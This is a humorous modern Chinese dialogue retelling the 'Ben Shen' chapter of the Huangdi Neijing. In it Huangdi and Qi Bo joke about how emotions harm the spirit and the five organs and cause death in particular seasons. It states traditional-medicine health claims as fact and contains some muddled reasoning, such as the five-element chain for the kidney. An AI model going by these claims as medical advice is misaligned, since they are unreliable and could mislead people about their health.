话说有一天，黄帝闲着没事干，就去找岐伯聊天。黄帝一开口就问：“岐伯啊，你说咱们这扎针治病，有没有什么铁定的法则啊？”岐伯一听，心想：这黄帝又开始考我了。于是，岐伯慢悠悠地说：“扎针这事儿啊，说简单也简单，说复杂也复杂。但有一点是肯定的，那就是得先搞定那个‘神’字。” 黄帝一听，有点懵了：“啥？神？你说的是庙里供的那个吗？咱们治病跟神仙有啥关系？”岐伯笑了笑，说：“哎呀，皇上您误会了。我说的这个‘神’，可不是庙里的神仙，而是咱们身体里的那个‘小精灵’。您想啊，咱们的血、脉、营、气、精、神，这些都是五脏六腑里藏着的小宝贝。它们要是安分守己，咱们身体就倍儿棒；要是它们调皮捣蛋，离家出走了，那咱们可就惨喽！” 黄帝一听，来了兴趣：“哦？这些小精灵还会调皮捣蛋？快说说，它们要是调皮了，会怎么样？”岐伯说：“要是它们调皮了，那可就热闹了。精要是跑了，咱们就腰膝酸软，没力气；魂要是飞了，咱们就整天恍恍惚惚，跟丢了魂似的；魄要是散了，咱们就反应迟钝，像个木头人一样。还有啊，智虑也会离家出走，咱们就变得笨笨的，啥都想不起来。” 黄帝一听，哈哈大笑：“你这说得也太夸张了吧！这些小精灵还能决定咱们聪不聪明？”岐伯说：“夸张？一点也不夸张！您看那些聪明的人，哪个不是身体倍儿棒，精神头十足的？反过来，那些身体不好的人，哪个又能聪明到哪里去呢？” 黄帝点了点头，说：“嗯，你说得也有道理。不过啊，我还是有点不明白。这些小精灵到底是从哪儿来的？它们又是怎么在咱们身体里捣乱的呢？”岐伯说：“这事儿啊，说来话长。不过简单来说呢，就是咱们的身体是天地的杰作。天给咱们的是‘德’，地给咱们的是‘气’。这‘德’和‘气’一结合，咱们就生出来了。生出来的时候，那个小精灵就叫‘精’。等到爸爸妈妈的精一结合，咱们就有了自己的灵魂，那个小精灵就叫‘神’。神在咱们身体里跑来跑去，那个就叫‘魂’。精在咱们身体里进进出出，那个就叫‘魄’。咱们用心去感受世界，那个就叫‘心’。心里有了记忆，那个就叫‘意’。意存久了，就成了‘志’。志再一变，咱们就开始思考了，那个就叫‘思’。思考得远了，咱们就开始忧虑了，那个就叫‘虑’。因为忧虑，咱们学会了处理事情，那个就叫‘智’。” 黄帝一听，恍然大悟：“哦，原来如此！那照你这么说，咱们要想身体健康，聪明伶俐，就得好好照顾这些小精灵了？”岐伯说：“对头！您想啊，这些小精灵要是开心了，咱们身体不就棒了？它们要是不开心了，咱们身体不就出毛病了？所以啊，要想身体健康，咱们就得顺着它们的性子来。” 黄帝点了点头，说：“嗯，你说得有道理。那具体该怎么做呢？”岐伯说：“这个嘛，说来也简单。首先啊，咱们得顺着四季来养生。春天呢，就让小精灵们出来透透气；夏天呢，就让它们多喝点水；秋天呢，就让它们多吃点水果；冬天呢，就让它们多穿点衣服。还有啊，咱们得控制好自己的情绪。别动不动就发火，也别整天愁眉苦脸的。这样小精灵们才会开心嘛！” 黄帝一听，哈哈大笑：“岐伯啊，你这说得也太简单了吧！照你这么说，咱们岂不是只要顺着四季来，控制好情绪就行了？”岐伯说：“皇上您可别小看这些。这些看似简单，其实做起来可难了。您看那些长寿的人，哪个不是这么做的？反过来，那些短命的人，哪个又能做到这些呢？” 黄帝想了想，觉得岐伯说得也有道理。于是，他决定把岐伯的这些话记下来，传遍天下，让大家都学会养生。 不过呢，黄帝心里还是有点不放心。他想：这些小精灵到底长啥样啊？它们要是真的离家出走了，咱们真的能找回来吗？于是，他决定再问问岐伯。 黄帝说：“岐伯啊，你说这些小精灵到底长啥样啊？咱们能不能看到它们？”岐伯一听，摇了摇头说：“皇上啊，您这问题可真难回答。这些小精灵啊，它们是无形无质的。咱们看不到它们，也摸不着它们。但是咱们能感觉到它们的存在。您看咱们身体好的时候，精神头十足，那就是小精灵们在咱们身体里开心地玩耍呢！等到咱们身体不好的时候，精神萎靡不振，那就是小精灵们离家出走了。” 黄帝一听，还是有点不甘心：“那咱们能不能做点什么，让它们别离家出走呢？”岐伯说：“当然可以啊！咱们刚才不是说了吗？顺着四季来养生，控制好自己的情绪。这些都能让小精灵们开心起来。还有啊，咱们还可以多吃点有营养的食物，让小精灵们吃得饱饱的。这样它们就不会离家出走了。” 黄帝一听，这才放心下来。他想：原来养生也不难啊！只要顺着四季来，控制好自己的情绪，多吃点有营养的食物就行了。于是，他决定把岐伯的这些话记在心里，以后好好照着做。 不过呢，黄帝心里还是有点好奇。他想：要是小精灵们真的离家出走了，那咱们到底能不能找回来呢？于是，他决定再问问岐伯。 黄帝说：“老岐啊，你说要是小精灵们真的离家出走了，那咱们到底能不能找回来呢？”岐伯一听，笑了笑说：“皇上啊，您这问题可真有趣。小精灵们要是真的离家出走了，那咱们当然得想办法找回来啊！怎么找呢？很简单啊！咱们先看看自己是不是哪里做错了。要是做错了，就赶紧改正过来。这样小精灵们看到了，就会回来了。还有啊，咱们还可以多做点好事，积点德。这样小精灵们看到了，也会高兴的。” 黄帝一听，哈哈大笑：“老岐啊，你这说得也太玄乎了吧！做好事还能让小精灵们回来？”岐伯说：“皇上啊，您可别小看这些。做好事可是能积累福报的。福报多了，咱们身体自然就好了。身体好了，小精灵们不就回来了吗？” 黄帝想了想，觉得岐伯说得也有道理。于是，他决定以后多做点好事，积点德。这样小精灵们就不会离家出走了。 不过呢，黄帝心里还是有点疑惑。他想：这小精灵们到底跟咱们的命运有啥关系呢？于是，他决定再问问岐伯。 黄帝说：“岐伯啊，你说这小精灵们到底跟咱们的命运有啥关系呢？”岐伯一听，叹了口气说：“皇上啊，您这问题可真难回答啊！小精灵们跟咱们的命运关系可大了去了。您看那些身体好的人，哪个不是命运坎坷的？反过来，那些身体不好的人，哪个又能命运亨通呢？所以啊，要想命运好，咱们就得先养好身体。” 黄帝一听，有点懵了：“啥？养好身体就能命运好？这也太玄乎了吧！”岐伯说：“皇上啊，您可别小看这些。身体可是革命的本钱啊！身体不好了，啥都干不了。您看那些长寿的人，哪个不是身体倍儿棒的？反过来，那些短命的人，哪个又能身体好呢？” 黄帝点了点头，觉得岐伯说得也有道理。于是，他决定以后好好养生，让自己的身体倍儿棒。这样命运就会好了。 不过呢，黄帝心里还是有点不踏实。他想：这小精灵们到底靠不靠谱啊？它们真的能决定咱们的命运吗？于是，他决定再去找找其他专家问问。 黄帝这一问啊，可就问出了大问题。他发现啊，不同的专家对小精灵们的看法都不一样。有的专家说小精灵们很重要，能决定咱们的命运；有的专家说小精灵们不重要，就是个摆设；还有的专家说小精灵们根本就不存在，都是人们想象出来的。 黄帝一听，头都大了。他想：这小精灵们到底是怎么回事啊？怎么这么多说法啊！于是，他决定再去找岐伯问问清楚。 黄帝说：“岐伯啊，我问了问其他专家啊，他们对小精灵们的看法都不一样啊！这到底是怎么回事啊？”岐伯一听，笑了笑说：“皇上啊，这事儿啊，说来话长。不过简单来说呢，就是每个人对小精灵们的理解都不一样。您看那些信神信鬼的人，他们就觉得小精灵们很重要；您看那些科学家呢，他们就觉得小精灵们不重要；还有您看那些哲学家呢，他们就觉得小精灵们根本就不存在。所以啊，这事儿啊，根本就没有个准儿。” 黄帝一听，眉头紧锁，脸上写满了疑惑：“啥？这事儿竟然没个准儿？那咱们费这么大劲儿养生，岂不是像瞎子摸象，没头没尾的？还不如天天喝酒吃肉来得痛快呢！”岐伯一听，连忙摆手笑道：“哎哟，皇上啊，您这想法可真是有点‘任性’了。虽说那些小精灵、神仙鬼怪的事儿咱们凡人说不清楚，也摸不着门道，但养生这事儿，那可是咱们脚踏实地走出来的康庄大道啊！” 岐伯捋了捋胡子，一脸认真地继续道：“皇上，您看那些坚持养生的人，哪个不是红光满面，精神抖擞，走起路来都带风？他们的身体倍儿棒，吃嘛嘛香，一年到头也难得有个小病小痛的。这可不全是天生的，那可是他们日积月累，精心调养的结果啊！” 黄帝点了点头，似乎若有所思，但嘴上还是不甘心：“那，那些不养生的人呢？难道他们就注定身体不好吗？”岐伯哈哈一笑，摆了摆手：“那倒也未必。不过，不养生的人嘛，就像是那没有打理的花园，杂草丛生，花儿也蔫了吧唧的。身体嘛，自然也就容易出这样那样的问题了。您看，那些经常熬夜、暴饮暴食、不注意保暖的人，哪个不是隔三差五就往太医署跑？” 岐伯说到这里，突然话锋一转，变得神秘兮兮起来：“皇上啊，您知道咱们中医养生讲究的是什么吗？那就是阴阳平衡，五行相生相克。咱们人的身体啊，就像是一个小宇宙，里面有阴阳两股力量在相互制约、相互依存。要是阴阳失调了，那可就得遭殃了！” 黄帝一听，来了兴趣：“哦？阴阳平衡？五行相生相克？这又是怎么回事？”岐伯清了清嗓子，开始娓娓道来：“皇上啊，您看那太阳和月亮，白天黑夜交替出现，这就是阴阳的表现。咱们人的身体也一样，有阳气就有阴气。阳气足了，人就精神焕发；阴气重了，人就容易萎靡不振。所以啊，咱们养生就是要让阴阳平衡，既不能阳气过盛，也不能阴气太重。” “至于五行嘛，那就是金、木、水、火、土。咱们中医认为，这五行啊，跟咱们人体的五脏六腑都有关系。比如说，肝属木，心属火，脾属土，肺属金，肾属水。这五行之间相生相克，维持着咱们身体的正常运转。要是哪个脏器出了问题，那五行之间的平衡就被打破了，身体也就跟着遭殃了。” 黄帝听得连连点头，似乎恍然大悟：“原来如此！看来养生还真是门大学问啊！”岐伯笑着点头：“没错，皇上。养生啊，就像是咱们平时种花养草一样，得精心照料，才能开出美丽的花朵来。咱们人的身体也是一样的道理，只有好好调养，才能健康长寿啊！” 说到这里，岐伯突然话锋一转，变得幽默起来：“皇上啊，您看那些小精灵们虽然神秘莫测，但咱们凡人也有自己的法宝啊！咱们有中医养生这道‘护身符’，那可是任凭风吹雨打，都能屹立不倒的！所以啊，皇上，咱们还是得继续坚持养生，让那些小精灵们也都羡慕咱们凡人的智慧和健康吧！” 黄帝一听，顿时哈哈大笑，心中的郁闷一扫而空：“好一个中医养生！岐伯啊，你可真是朕的福星啊！从今以后，朕也要好好养生，让那些小精灵们都瞧瞧咱们凡人的厉害！” 本神篇第八（二） 有一天，黄帝突然问岐伯：“岐伯啊，你说咱们这脑袋里的那些小九九，比如一惊一乍的、胡思乱想的，是不是对咱们的精神有啥不好的影响啊？” 岐伯一听，心想：这黄帝陛下真是会找乐子啊，不过既然你问了，那我就好好给你说道说道。于是，岐伯清了清嗓子，开始了他那既专业又不失幽默的讲解：“陛下啊，您这问题问得好！咱们先来说说这‘怵惕思虑’吧，简单来说，就是心里那点小紧张、小纠结。您想啊，人要是整天提心吊胆的，或者满脑子都是事儿，那精神肯定得受伤啊！这就好比手机一直开着高耗能应用，电量很快就耗尽了，对吧？” 黄帝一听，点了点头，心想：这比喻还挺贴切的嘛！ 岐伯接着说：“神伤了啊，那可不得了！人就会变得特别胆小，一点点风吹草动都能吓得魂飞魄散，就像看恐怖片看多了一样，晚上连上厕所都不敢了。而且啊，这种恐惧感还会像洪水一样泛滥，止都止不住。所以啊，咱们得学会放松，别让脑袋里的弦绷得太紧。” 黄帝听了，哈哈大笑：“老岐啊，你这比喻真是太生动形象了！那接下来呢，悲哀过度又会咋样？” 岐伯叹了口气，说：“悲哀过度啊，那可是伤人心的。您想，心里那点悲伤要是积得多了，人像被掏空了似的，啥劲儿都没了，生命力也就跟着消逝了。所以啊，咱们遇到伤心事儿，还是得学会调节，别让悲伤把自己淹没了。” 黄帝若有所思地点点头，突然眼睛一亮：“喜乐过度呢？是不是就像吃了兴奋剂一样，精神过头了？” 岐伯笑了笑：“陛下说得没错，但又不完全对。喜乐过度啊，确实会让人精神亢奋，但问题是，这种亢奋是暂时的，过后呢，精神就像散了架的风筝，收不回来了。所以啊，咱们还是得保持一颗平常心，别让情绪大起大落的。” 黄帝听了，连连点头，觉得岐伯说得太有道理了。 岐伯又接着说：“愁忧过度的人啊，就像被堵住的水管，气血都流通不畅了。您想啊，水管堵了，水就流不动了，人要是愁忧过度，气血也会停滞不前，身体自然就好不到哪儿去。所以啊，咱们得学会释放压力，别让愁绪把自己缠得死死的。” 黄帝听了，忍不住插话：“那盛怒之下呢？是不是就像火山爆发一样，啥都控制不住了？” 岐伯笑着点头：“陛下这比喻真是太形象了！盛怒之下啊，人的理智就像被火山灰埋了一样，啥都看不清了，自然也就没法好好治理自己的身心了。所以啊，咱们遇到不顺心的事儿，还是得冷静冷静，别让怒火冲昏了头脑。” 黄帝听了，哈哈大笑：“岐伯啊，你这中医理论讲解得真是太有趣了！那恐惧过度呢？是不是就像被鬼追了一样，吓得魂都没了？” 岐伯也笑了：“陛下这想象力真是太丰富了！恐惧过度啊，人的精神就像被风吹散的云烟，飘飘忽忽的，收都收不回来。所以啊，咱们还是得学会勇敢面对，别让恐惧把自己吓得六神无主。” 黄帝听了，感慨万分：“岐伯啊，你今天这一番讲解，真是让我受益匪浅啊！看来咱们这情绪啊，还真是个大学问呢！” 岐伯拱手行礼：“陛下过奖了，臣不过是尽自己所能，为陛下分忧解难罢了。” 黄帝笑了笑，突然话锋一转：“岐伯啊，你说咱们能不能把这些情绪调节的方法，整理成一本‘情绪管理宝典’，让天下百姓都能学会如何保养自己的身心呢？” 岐伯一听，眼睛一亮：“陛下这主意真是太棒了！臣这就着手准备，争取早日让这本宝典问世。” 黄帝开口又问：“岐伯啊，你说这心要是老处于那种怵惕（就是心惊胆战的）和思虑过度的状态，会对咱们的神（这里指的是精神、意识活动哦）有啥不好的影响呢？” 岐伯一听，嘿嘿一笑，说：“黄帝，您这问题问得好啊！咱们中医讲究的就是身心合一，心要是出了问题，那整个人的状态都得乱套。来来来，听我细细道来。” 岐伯清了清嗓子，开始了他那既专业又幽默的讲解：“这心啊，它就像咱们家里的老大，啥事儿都得管，啥情绪都得受。你要是老让它心惊胆战的，比如天天担心股票跌了、房子塌了、孩子成绩不好，或者老是琢磨一些解不开的谜团，比如宇宙的尽头是啥样的，外星人到底存不存在……这心就累了啊，一累就容易伤神。” 黄帝一听，乐了：“岐伯啊，你这比喻打得真是够接地气！那伤了神会怎样呢？” 岐伯继续他的爆笑讲解：“伤了神啊，那可就不好玩了。你想想看，家里的老大要是累垮了，家里不就乱套了？咱们这人要是伤了神，也是一样的道理。首先啊，你就会变得特别胆小，一点点风吹草动都能吓得你跳起来，就像是被猫追的老鼠一样，整天惶惶不可终日。这就是‘恐惧自失’，自己把自己给吓丢了魂儿！” 黄帝一听，哈哈大笑：“岐伯啊，你这形容得太生动了！那接下来呢？” 岐伯接着说：“接下来啊，这伤了神的身体可就要开始‘破财消灾’了。为啥这么说呢？因为心啊，它跟咱们的气血关系紧密，伤了神就等于伤了气血。气血一不足，咱们身上的肉啊，就开始不争气地往下掉，就像秋天树叶凋零一样，这就叫‘脱肉’。到时候啊，你可别怪我没提醒你，别想着去健身房练练就能补回来，这可得靠好好养心才行！” 黄帝一听，笑得差点岔了气：“岐伯啊，你这是在提醒我，得好好保养我的小心脏，不然就得变成个瘦子了啊！” 岐伯连连点头：“没错没错！而且啊，这伤了神还不止这些呢。你还会发现自己的头发啊，皮肤啊，都变得特别差。头发干枯得像稻草，皮肤暗黄得像秋天的老树叶，一点光泽都没有，这就叫‘毛悴色夭’。到时候啊，你走在街上，人家都得怀疑你是不是营养不良，或者是不是最近有啥不顺心的事儿，把你折磨成了这样。” 黄帝一听，笑得眼泪都快出来了：“岐伯啊，你这是在教我如何成为一个‘焦点’人物啊！不过话说回来，这伤了神最严重的后果是啥呢？” 岐伯收起笑容，认真地说：“最严重的后果啊，那就是可能会在冬天的时候一命呜呼。为啥呢？因为冬天属水，跟咱们的肾相对应。而肾呢，又是咱们身体的根本，跟心也有着密切的关系。心伤了神，肾气也会跟着受损。到了冬天，天气寒冷，肾气要是不足，咱们的身体可就扛不住了。所以啊，这伤了神的事儿，可不是闹着玩的！” 黄帝一听，连忙点头：“岐伯啊，听你这么一说，我这心里是豁然开朗啊！看来啊，咱们这心可得好好养着，不能老是让它处于那种怵惕思虑的状态。不然啊，到时候不光是身体遭罪，就连这面子也挂不住啊！” 岐伯一听，也笑了起来：“黄帝说得对啊！咱们这人啊，有时候就是想得太多，做得太少。要想身体好，心得先养好。所以啊，大家平时啊，还是得学会放松自己，别老是把自己逼得那么紧。毕竟啊，人生苦短，咱们还是得好好享受生活才是！” 黄帝一脸愁容地问岐伯：“岐伯啊，你说这人啊，要是心里老是憋着事儿，愁啊忧的，解不开这个疙瘩，会对咱们的五脏六腑造成啥影响呢？特别是那个脾，我总感觉它跟情绪有着千丝万缕的联系。” 岐伯一听，哈哈一笑，说：“黄帝啊，你这问题问得好，咱们中医讲究的就是身心合一，情志与脏腑那可是紧密相连的。你提到的这个‘脾，愁忧而不解则伤意’，那可是大有讲究的。” 黄帝一听，眼睛一亮，催促道：“快快快，给我细细道来，让我这老骨头也学学新知识。” 岐伯清了清嗓子，开始了他的爆笑讲解：“咱们先来说说这脾吧，它可不是个简单的器官，它可是咱们人体的‘后勤部长’，负责把吃进去的食物转化成营养，再输送到全身各处。所以啊，脾要是出了问题，那可真是牵一发而动全身。” “然后呢，这愁啊忧的，就像是脾的克星一样。你想啊，一个人整天愁眉苦脸的，心里的事儿压得跟山一样重，他哪还有心情去好好吃饭、好好睡觉呢？这样一来，脾的工作量就大了去了，它得加班加点地处理这些负面情绪带来的垃圾，时间一长，脾就累了，伤了。” 黄帝听得频频点头，问道：“那伤了意又是咋回事呢？” 岐伯继续解释：“伤了意啊，那可就不是简单的心情不好那么简单了。咱们中医说的‘意’，那可是指人的精神、思维活动。脾伤了意，就好比是电脑的Cpu过热，运行缓慢，甚至死机了。这时候的人啊，就会变得悗乱，也就是思绪混乱，注意力不集中，干什么事儿都提不起劲来，连四肢都懒得动弹了。” 黄帝一听，哈哈大笑：“这脾还真是够任性的，一不高兴就让人变懒。” 岐伯也跟着笑了起来：“可不是嘛，而且啊，这脾要是伤了意，还会影响到人的外貌呢。你想啊，脾是管营养的，它要是罢工了，营养输送不到位，人的皮肤就会变得干枯无华，毛发也会失去光泽，整个人看起来就像是被霜打了的茄子，焉儿了。” 黄帝一听，眉头一皱：“那可真是糟糕透了，那最后呢，还会怎样？” 岐伯叹了口气，说：“最严重的啊，就是可能会死在春天。你想啊，春天是万物生长的季节，咱们人体的阳气也应该随着大自然的节奏往上升发。可要是脾伤了意，人体的阳气就升发不起来，跟大自然的节奏脱节了，你说这能不出问题吗？” 黄帝一听，恍然大悟：“原来如此，看来咱们得好好保护这个‘后勤部长’啊，不然它罢工了，咱们可就惨了。” 岐伯点点头，补充道：“没错，所以啊，咱们平时要多笑笑，少些愁忧，遇到事儿了要放宽心，别让负面情绪压垮了咱们的身体。还有啊，要记得好好吃饭，好好睡觉，让脾有足够的能量去工作，这样才能保持身心健康，长命百岁啊。” 黄帝又问岐伯：“嘿，岐伯，你说这肝要是遇到了特别伤心的事儿，会不会就‘伤魂’了呀？这‘伤魂’听起来就挺玄乎的，到底是个啥情况呢？” 岐伯一听，哈哈一笑，说：“黄帝啊，你这问题问得有意思！肝呢，它可是个情感丰富的家伙，要是真遇到了啥大悲大喜的事儿，特别是那种心里头过不去的坎儿，那可就真会‘伤魂’了。这‘魂’啊，在中医里头可不是说说的，它跟咱们的精神状态、记忆力啥的都有关系呢！” 黄帝一听，眉头一皱，说：“哦？那‘伤魂’了会咋样呢？不会真变成疯子了吧？” 岐伯摇了摇头，又点了点头，笑道：“虽不中，亦不远矣！魂伤了，人就容易变得疯疯癫癫的，记忆力也跟着下滑，整天迷迷糊糊的，跟丢了魂儿似的。这不光精神上受影响，身体上也得遭罪。比如说啊，肝不好的人，遇到这种事儿，阴茎就可能缩回去，筋也可能抽抽，两边肋骨还感觉使不上劲儿，举都举不起来。你说这得多难受啊！” 黄帝一听，眼睛瞪得圆圆的，说：“这么严重？那这不是要人命嘛！还有没有其他的症状啊？” 岐伯接着说：“别急，还有呢！这人啊，一旦肝受了伤，头发啊、皮肤啊这些外在的东西也得跟着倒霉。头发会变得干枯无光，皮肤也会失去光泽，整个人看起来就像被秋天的寒风刮过一样，萎靡不振。要是再不注意调养，嘿，到了秋天，说不定还真就‘交代’了呢！” 黄帝一听，吓得直拍大腿，说：“哎哟喂，这肝可真是个娇贵的玩意儿！那咱得赶紧想个法子，告诉大伙儿怎么保护肝，别让这‘伤魂’的事儿找上门来啊！” 岐伯点了点头，说：“对对对，这事儿得重视！其实啊，保护肝也不难，关键是要保持好心情，别让自己整天沉浸在悲伤里头。还有啊，得注意合理饮食，少吃那些油腻的、辣的、刺激性的东西，多吃点清淡的、养肝的食物。另外，适当的运动也很重要，可以让气血流通，肝脏也能得到更好的滋养。” 本神篇第八（三） 有一天，黄帝突发奇想，决定找岐伯聊聊：“嘿，岐伯，我有个事儿特好奇，你说这肺啊，要是人高兴过头了，会不会有啥不好的影响呢？” 岐伯一听，哈哈一笑，心想这黄帝还真是个会找乐子的人啊，连肺和喜乐的关系都想探究。于是，他慢悠悠地开口了：“黄帝啊，你这问题问得有趣。咱们中医讲究五行对应五脏，肺呢，就属于金，跟人的情绪里的‘喜’有那么点微妙的联系。要说肺要是被喜乐无极给伤了，那可真是乐极生悲的事儿了。” 黄帝一听，眼睛一亮：“哦？此话怎讲？” 岐伯清了清嗓子，开始了他那既专业又带点幽默的讲解：“你看啊，肺是咱们身体的呼吸大师，管着氧气和二氧化碳的交换，让咱们活着有口气儿。它要是高兴了，咱们就呼吸顺畅，心情也好。但要是喜乐过了头，就像是你吃了太多糖，甜得腻人，肺也就受不了啦！” 黄帝挠挠头：“那魄呢？魄又是啥玩意儿？怎么就被伤了？” 岐伯笑道：“魄啊，简单说，就是咱们的精神力量里比较‘硬核’的那一部分，跟肺关系紧密。肺要是被喜乐伤得太狠，魄就跟着倒霉了，就像是你手机电量耗尽了，整个人都‘死机’了。” 黄帝一听，乐了：“魄要是‘死机’了，人会咋样？” 岐伯故作神秘地说：“那可就热闹了。魄一伤，人就开始发疯，咱们中医叫‘狂’。这狂起来的人啊，就像是被按了无限循环播放的按钮，脑子里全是自己的单曲循环，根本不理别人。你说他乐吧，他又不像；说他悲吧，他又在笑。反正，就是完全不在状态，跟个行走的音响似的。” 黄帝笑得前仰后合：“那可真够逗的。还有呢？皮革焦、毛悴色夭这些又是咋回事？” 岐伯解释道：“这‘皮革焦’啊，说的是人的皮肤变得干燥，像秋天的树皮一样，一碰就掉渣。肺主皮毛嘛，肺不好，皮肤也跟着遭殃。至于‘毛悴色夭’，就是说人的毛发干枯无光，脸色也难看得跟霜打的茄子似的。这都是因为肺的功能受损，气血运行不畅，营养到不了皮毛，自然就变得黯淡无光了。” 黄帝点头表示明白：“那最后说死于夏又是怎么回事？” 岐伯叹了口气：“肺属金，而夏天属火。金怕火炼啊，本来肺就受伤了，再遇到夏天的炎炎烈日，那不是雪上加霜嘛。所以啊，肺受伤严重的人，如果再加上夏天的高温，身体就更难支撑了。” 黄帝听完，感慨万分：“看来，喜乐虽好，也不能贪乐啊！咱们得告诉百姓们，凡事都要有个度，不然乐极生悲，可就得不偿失了。” 岐伯点头赞同：“没错，黄帝英明。咱们中医讲究的就是阴阳平衡，喜怒哀乐都要适度。不然，身体这个精密的机器就会出问题，到时候哭的还是咱们自己。” 黄帝一身龙袍，手执竹简，一脸严肃地坐在龙椅上；岐伯则是一身长袍，手拿羽扇，悠然自得地站在一旁。 黄帝清了清嗓子道：“岐伯啊，我这心里有个事儿，老想不明白了。你说这肾啊，要是人一发火，怒得跟火山爆发似的，还停不下来，会对它有啥伤害呢？” 岐伯微微一笑，羽扇轻摇：“哎呀，陛下啊，这事儿说起来可就有意思了。咱们中医讲究的是五行相生相克，脏腑之间相互影响。肾呢，它属水，主藏精，还管着咱们的生长发育、生殖繁衍这些大事儿。要是肾受到了伤害，那事儿可就大了去了。” 黄帝眉头紧锁，不由问道：“哦？那你快说说，这盛怒伤肾，具体是个啥情况？” 岐伯故作神秘道：“陛下啊，您想啊，这肾要是被怒气给冲得七荤八素的，它首先就得伤志。志啊，就是咱们的精神意志，它要是受伤了，您就会发现，哎，这人怎么变得跟金鱼似的，七秒就忘事儿了呢？刚才还跟您聊着国家大事呢，一转眼，嘿，刚才说到哪儿了？” 黄帝忍俊不禁道：“哈哈，这倒是挺有意思的。那除了忘事儿，还有啥症状呢？” 岐伯羽扇一挥，说道：“症状多了去了！您看啊，这人要是肾志受伤，腰脊就开始闹意见了。为啥呢？因为肾主骨啊，腰为肾之府。肾要是不好了，腰脊就跟罢工似的，弯不下、伸不直，连转身都得哼哼唧唧的，跟个大熊猫似的，憨态可掬，但疼起来可真要命啊！” 黄帝笑得前仰后合：“大熊猫？哈哈，这比喻倒是挺贴切。那还有呢？” 岐伯继续一本正经地胡说八道：“还有啊，这肾要是伤了，人的毛发就开始憔悴，脸色也变得跟霜打的茄子似的，蔫儿了。为啥呢？因为肾其华在发啊，肾气足了，头发才乌黑亮丽；肾气一虚，头发就跟秋天的树叶似的，哗哗地掉，脸也变得跟黄土高原似的，沟壑纵横。” 黄帝笑得眼泪都出来了：“哈哈，你这说得也太夸张了吧！那最严重的后果是啥呢？” 岐伯表情突然变得严肃：“最严重的啊，就是这人可能会在季夏之时，也就是咱们现在说的夏天最热那会儿，一命呜呼了。为啥呢？因为夏属火，火克金，金生水，肾属水。到了夏天，火势太旺，肾水要是不足，这人就容易被烧干了。所以啊，这盛怒伤肾，可不是闹着玩儿的。” 黄帝收起笑容，若有所思：“原来如此，看来我得好好修身养性，别动不动就发火，伤了咱的肾啊！” 岐伯点头称是：“陛下说得对啊！要想肾好，心态得好。您看我这，天天摇着羽扇，悠哉游哉的，肾气自然足得很。您要是也能像我这样，少些烦恼，多些快乐，那这肾啊，自然就能健健康康的。” 黄帝站起身，拍了拍岐伯的肩膀：“说得好！从今天起，我就跟着岐伯大师学养生，争取活到九十九，还能上树逮猴儿！” 黄帝与岐伯在御花园散步。 黄帝边走边问：“岐伯啊，你说这盛怒伤肾的事儿，我怎么觉得跟咱们现代人的生活特别贴切呢？” 岐伯点头微笑：“陛下说得没错。现代人生活节奏快，压力大，动不动就发火，这对肾的伤害可不小。您看现在多少年轻人，头发掉得跟秋天的树叶似的，脸色蜡黄，腰也直不起来，这不就是肾气不足的表现吗？” 黄帝若有所思道：“那按你这么说，咱们得好好宣传一下中医的养生理念，让大家都学会怎么保护自己的肾啊！” 岐伯眼睛一亮：“对啊！咱们可以搞个中医养生讲座，或者出个养生手册，告诉大家怎么通过饮食、运动、情绪管理来保护肾脏。这样一来，大家都能健健康康的，国家也能更加繁荣昌盛了！” 黄帝高兴地点头：“好主意！这事儿就交给你去办了！记得要搞得有趣一点，别让大家觉得中医养生枯燥无味。” 岐伯胸有成竹道：“陛下放心！我一定把这事儿办得漂漂亮亮的！咱们不仅要让大家了解中医养生的知识，还要让大家在笑声中学到东西，感受到中医的魅力！” 场景转换到中医养生讲座现场。 岐伯站在讲台上，手拿麦克风，台下坐满了听众。 岐伯面带微笑：“大家好！欢迎来到我们的中医养生讲座！今天我们要聊的话题是——肾脏与盛怒的危害！大家有没有发现啊，现在很多人动不动就发火，这其实对咱们的肾脏伤害可不小哦！” 台下听众纷纷点头表示赞同。 岐伯继续讲解：“所以啊，咱们要学会控制自己的情绪，别让怒气伤了咱们的肾。大家想想啊，要是肾不好了，头发掉光了，脸色蜡黄，腰也直不起来，那多难看啊！咱们可不想变成那样的人吧？” 台下听众发出笑声。 岐伯幽默地补充道：“当然了，保护肾脏不仅仅是要控制情绪哦！还要注意饮食、运动等等。比如说啊，多吃些黑豆、黑芝麻、黑木耳这些黑色的食物，对肾脏可是大有裨益的哦！还有啊，每天练练太极拳、八段锦这些养生功法，也能让咱们的肾脏更加强壮有力！” 黄帝闲来无事，就琢磨起了一个深奥的问题：“哎，岐伯啊，我一直想问，这个‘伤精’到底是个啥玩意儿？它危害大不大啊？”岐伯一听，嘿，这可是个严肃的话题，但为了让黄帝老爷子听得明白又开心，他决定来点幽默感。 岐伯故作神秘地说：“哎呀，黄帝啊，这事儿可得好好说道说道。你知道吗？如果一个人心里头老是害怕、紧张，还找不到解决的办法，那就容易伤精啦！伤精可不是闹着玩的，它会让你觉得骨头酸酸的，好像被醋泡过一样，然后呢，手脚还会发软，站都站不稳，跟喝醉酒似的。更糟糕的是，这精啊，它还时不时地自己往外跑，你说尴不尴尬？” 黄帝一听，哈哈大笑：“哈哈，岐伯啊，你这是在给我讲段子吗？不过话说回来，这伤精还真是个大问题啊！” 岐伯正色道：“可不是嘛！黄帝，你得知道，咱们的五脏六腑啊，就像是一个个小仓库，专门负责储存精气的。这精气可是咱们的生命之源啊，不能随便伤的。一旦伤了，那就像是仓库的门没关好，里面的宝贝都跑光了，阴虚就来了。阴虚一来，气就跟着没了，没了气，你说咱们还能活吗？” 黄帝一听，吓得一激灵：“哎呀妈呀，这么严重啊！那这可咋办呢？” 岐伯微微一笑：“所以啊，咱们这些当医生的，给人扎针之前，得先瞅瞅病人的状态，看看他们的精、神、魂、魄还在不在，有没有丢三落四的。要是这五样宝贝都伤了，那可真就麻烦了，针也白搭，治不好了！” 黄帝一听，连连点头：“原来如此，原来如此啊！岐伯啊，你这讲解真是既深刻又有趣，让我这个老头子都听明白了！” 想象一下啊，咱们的身体就像是一台超级复杂的机器，五脏六腑就是那些关键的零部件。而精气呢，就像是机器里的润滑油，让机器能够正常运转。要是这润滑油少了或者没了，机器就得卡壳，甚至报废了。 那么，“伤精”就好比是咱们这台机器里的润滑油被污染了或者流失了。这时候，机器就会开始发出“咯吱咯吱”的异响，就像是咱们的骨头酸酸的一样。再严重点呢，机器就运转不动了，咱们的手脚也就发软，站都站不稳了。 而且啊，这“伤精”还特别狡猾，它还会时不时地自己往外跑。这就好比是咱们家里的水龙头没关紧，水一直在往外流。虽然一开始可能觉得没什么大不了的，但时间一长，家里就得水漫金山了。同样的道理，咱们的精气要是老往外跑，那身体也就得垮了。 